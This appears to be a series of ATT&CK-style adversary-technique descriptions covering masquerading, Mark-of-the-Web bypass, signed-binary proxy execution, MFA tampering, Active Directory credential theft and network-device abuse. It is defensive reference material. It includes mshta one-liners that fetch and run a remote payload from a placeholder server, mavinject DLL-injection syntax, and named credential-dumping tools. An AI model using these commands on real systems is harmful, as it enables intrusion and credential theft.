Enterprise sub-techniques

Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).

Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.[1] Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.[2][3][4]

Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.[2][3]

Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.[1]

Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.[2][3] They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.”[4] Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.

Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.

Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`.

Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.

Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.

Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.[1]

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.[1][2] Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.[3][4]

Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation.

This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.[1]

Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).[1]

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).[2][3] Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

In addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.[4]

Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications:

* Testing / development credentials (i.e., Chat Messages) * Source code snippets * Links to network shares and other internal resources * Proprietary data[1] * Discussions about ongoing incident response efforts[2][3]

In addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.[4][5]

Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.

For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional Resource Hijacking without raising suspicion by using up a victim’s entire quota.[1] Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.[2]

Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling Unused/Unsupported Cloud Regions.

Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response.

Adversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system.

This behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity.

For example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.[1]

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code [1] [2] [3] [4] [5]

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. [6] HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. [7]

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. [8]

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).[1] The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.[2][3] Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.[4]

Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.

Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.[1][2]

For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. [3]

Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.[3]

Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.[1] Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.[2]

In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.

Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.[3]

Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.[1]

While local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.[1] By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.[2]

In Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.[3][4]

Mutex names may be hard-coded or dynamically generated using a predictable algorithm.[5]

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.[1]

In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.[2]

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

* Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. [1] Within MFT entries are file attributes, [2] such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). [1] [3] [4] [5]

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. [6] [4]

By responding to LLMNR/NBT-NS/mDNS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system.[1] This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name.[2][3]

Multicast Domain Name System(mDNS) is a zero-configuration service used to resolve hostnames to IP addresses with “.local” as a top-level domain. MDNS is based upon Domain Name System (DNS) format and allows hosts on the same network segment to perform name resolution for other hosts, using multicast.[4]

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137)/mDNS (UDP 5353) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.

In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.[5][6] Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various other protocols, such as LDAP, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.

Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.[7][8][9]

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[1] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.[2][3]

Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.[1]

When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.

Adversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.

Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

Modify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.[1]

Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.

Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH.

Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.[1]

Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.[1][2] These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.

Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage.

Adversaries may obtain access to devices such as routers, switches, or other perimeter/network devices and change access control lists (ACLs), security zones, or policy rules to permit otherwise blocked traffic. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions. Allowing access to internal network subsets may enable unrestricted inbound/outbound connectivity or open paths for command and control and lateral movement.

Adversaries may obtain access to network device management interfaces via Valid Accounts or by exploiting vulnerabilities. In some cases, threat actors may target firewalls and other network infrastructure that are exposed to the internet by leveraging weaknesses in public-facing applications (Exploit Public-Facing Application).[1]

Adversaries may also modify host networking configurations that indirectly manipulate system firewalls, such as adjusting interface bandwidth or network connection request thresholds.

Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting.

Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices.

Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.[1][2]

Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.[3]